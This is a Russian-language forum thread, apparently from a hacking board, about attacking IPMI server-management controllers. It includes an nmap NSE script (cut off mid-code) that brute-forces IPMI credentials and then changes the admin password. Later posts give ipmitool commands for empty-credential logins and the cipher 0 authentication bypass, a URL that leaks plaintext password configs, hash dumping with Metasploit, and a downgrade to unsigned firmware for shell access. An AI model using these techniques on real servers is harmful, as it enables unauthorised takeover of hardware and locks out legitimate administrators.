![]() |
По долгу службы на работе обнаружили интересную особенность в IPMI (аналог KVM) - штука для удаленного мониторинга и физическим управлением сервера. Штука в том, что DHCP сам назначает и навязывает IPMI у многих ДЦ о чем последние могут тупо просто не знать. Поэтому внутри сетки целесообразно чекать 623UDP.
А я поделюсь NSE скриптом для nmap'а авторство которого принадлежит не мне, а моему начальнику. Скрипт сам подключается к порту IPMI, пытается сменить пароль если это надо, оповещает о всех найденных IPMI и брутит пароль (в том числе дефолтные). [CODE] local brute = require "brute" local creds = require "creds" --local ipmi = require "ipmi" local nmap = require "nmap" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local tab = require "table" description = [[ Performs brute force password auditing against IPMI server with ipmitool util and change default password if 'pwdchange' argument >= 5 symbols. ]] author = "i.zuev" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"intrusive", "brute"} --- -- need utils - ipmutil and ipmitool -- @usage -- nmap -sU -p623 -PS80,443 -PA80,443 --max-retries 5 --script ipmi-supermicro-brute --script-args 'userdb=/opt/ipmi-users.txt,passdb=/opt/ipmi-pwd.txt' -- nmap -sU -p623 -PS80,443 -PA80,443 --max-retries 5 --script ipmi-supermicro-brute --script-args 'brute.credfile=/opt/ipmi-creds.txt' -- nmap -sU -p 623 -PA80,443 -PS80,443 --reason --open --max-retries 5 --script ipmi-ipmiutil-brute.nse --script-args 'brute.credfile=/opt/ipmi-creds.txt,pwdchange=NEWPWDADMIN' -- brute.firstonly = Boolean - Stop attack when the first credentials are found (https://nmap.org/nsedoc/lib/brute.html) -- brute.mode = user/creds/pass - Username password iterator (https://nmap.org/nsedoc/lib/brute.html) -- passdb = file - Path to password list --- one pass = one string -- userdb = file - Path to user list --- one login = one string -- brute.credfile = file - Path to credentials file, use '/' as delimeter (ADMIN/ADMIN) -- -- for debug message use -d option -- -- @output -- PORT STATE SERVICE REASON -- 623/udp open|filtered unknown -- | ipmi-supermicro-brute: -- | Accounts -- |_ admin:admin => Valid credentials -- portrule = shortport.port_or_service(623, "asf-rmcp", "udp", {"open", "open|filtered"}) -- if string.find(s1, "welcome home") ~= nil then Driver = { new = function(self, host, port, pwdchange) local o = {} setmetatable(o, self) self.__index = self o.host = host o.port = port o.pwdchange = pwdchange return o end, connect = function( self ) return true end, disconnect = function( self ) return true end, check = function( self ) if (self.port.state == "open" or self.port.state == "open|filtered") then return true else return false end end, login = function( self, username, password ) --[[ ---- ipmiutil error codes - http://ipmiutil.sourceforge.net/docs/UserGuide Code Dec Description ---- --- ----------------------------------------- +0x00, 0, "Command completed successfully", 0x80, 128, "Invalid Session Handle or Empty Buffer", +0x81, 129, "Lost Arbitration", --- "GetSessChallenge: Invalid user name" 0x82, 130, "Bus Error", 0x83, 131, "NAK on Write - busy", 0x84, 132, "Truncated Read", 0xC0, 192, "Node Busy", 0xC1, 193, "Invalid Command", 0xC2, 194, "Command invalid for given LUN", 0xC3, 195, "Timeout while processing command", 0xC4, 196, "Out of space", 0xC5, 197, "Invalid Reservation ID, or cancelled", 0xC6, 198, "Request data truncated", 0xC7, 199, "Request data length invalid", 0xC8, 200, "Request data field length limit exceeded", 0xC9, 201, "Parameter out of range", 0xCA, 202, "Cannot return requested number of data bytes", 0xCB, 203, "Requested sensor, data, or record not present", 0xCC, 204, "Invalid data field in request", 0xCD, 205, "Command illegal for this sensor/record type", 0xCE, 206, "Command response could not be provided", 0xCF, 207, "Cannot execute duplicated request", 0xD0, 208, "SDR Repository in update mode, no response", 0xD1, 209, "Device in firmware update mode, no response", 0xD2, 210, "BMC initialization in progress, no response", 0xD3, 211, "Destination unavailable", 0xD4, 212, "Cannot execute command. Insufficient privilege level", 0xD5, 213, "Cannot execute command. Request parameters not supported", 253, "Cannot connect" 0xFF, 255, "Unspecified error" ]] local cmd = "ipmiutil config -U " .. username .. " -P " .. password .. " -N " .. self.host.ip .. " 2>&1 ; echo RC=$?" local handler = assert(io.popen(cmd)) local output local retcod = "9999" --local output = assert(handler:read('*a')) -- '*a' означает считывание всех данных for line in handler:lines() do if string.len(line) >= 1 then if string.match(line, "RC=") then retcod = tonumber(line:match "RC=(%d+)") end if string.match(line, "ipmiutil config, ") then output = line:match "ipmiutil config, (.*)" end end end handler:close() if retcod == 0 then if string.len(self.pwdchange) >= 5 then -- ipmitool -H IP -U ADMIN -P ADMIN user set password 2 NEWPWD ; local pwdoutput = "EMPTY" local pwdretcod = "8888" local pwdtry = 1 local pwdcmd = "ipmitool -U " .. username .. " -P " .. password .. " -H " .. self.host.ip .. " user set password 2 " .. self.pwdchange .. " 2>&1 ; echo RC=$?" ::PWDNEWTRY:: stdnse.print_debug(1, "IPMI pwdcmd (try %s): %s", pwdtry, pwdcmd) local pwdhandler = assert(io.popen(pwdcmd)) for line in pwdhandler:lines() do if string.len(line) >= 1 then if string.match(line, "RC=") then pwdretcod = tonumber(line:match "RC=(%d+)") elseif string.match(line, "Invalid user name") then pwdoutput = "Invalid user name" else pwdoutput = line end end end pwdhandler:close() if pwdretcod == 0 then stdnse.print_debug(1, "IPMI(%s): %s - password changed to %s (%s:%s)", pwdretcod, pwdoutput, self.pwdchange,username, password) return true, creds.Account:new(username, password, "new password is " .. self.pwdchange) elseif pwdtry |
Пару заметок ещё о том как обнаружить ipmi.
1) Веб морда на 80 порту в header: GoAhead-Webs 2) Смотрим сертификат на 443 порту: В издателе сертификата есть ключевые слова Supermicro, Ahead, IPMI. Позже NSE скрипт докину. |
Обещал скриптик, который бы чекал IPMI даже если нет его открытых портов.
Собственно вот .SpoilerTarget" type="button">Spoiler: Вывод http://s009.radikal.ru/i308/1708/62/7ee449121328.jpg Код:
local creds = require "creds" |
Ещё немного в кассу уязвимости ipmi
* Cleartext: ipmitool -H -U "" -P "" user list 1 - пустой пароль пустой логин, может дать доступ * AUth bypass Cipher 0: выполнить команды без аутентификации Код:
ipmitool -U ADMIN -P "1223" -C 0 -H lan print 1Код:
ipmitool -I lanplus -U ADMIN -P "1223" -C 0 -H lan print 1* Обратившись на порт T:49152 на URL "/PSBlock" можно скачать конфигурационный файл 'XXXX_bmc.conf', содержащий пароли в открытом виде. Преимущественно подвержены Supermicro Onboard IPMI контроллеры. * в спецификации IPMI 2.0 заложена возможность вытащить и брутить хеши паролей (которые используют уязвимые sha1 и md5) от всех учеток через 623 порт UDP Код:
msfconsolehttp://IP-OF-IPMI/images/Snapshot.bmp |
Bonus, некоторые прошивки апдейтятся методом заливки новой.
Мы можем залить более старую прошивку без подписи сертификатом и IPMI её без проблем скушает. Тогда у нас уже будет SH вместо SMASH. https://a.radikal.ru/a29/1808/a6/9d00bdef0894t.jpg |
Спущено
|
Цитата:
|
| Время: 05:46 |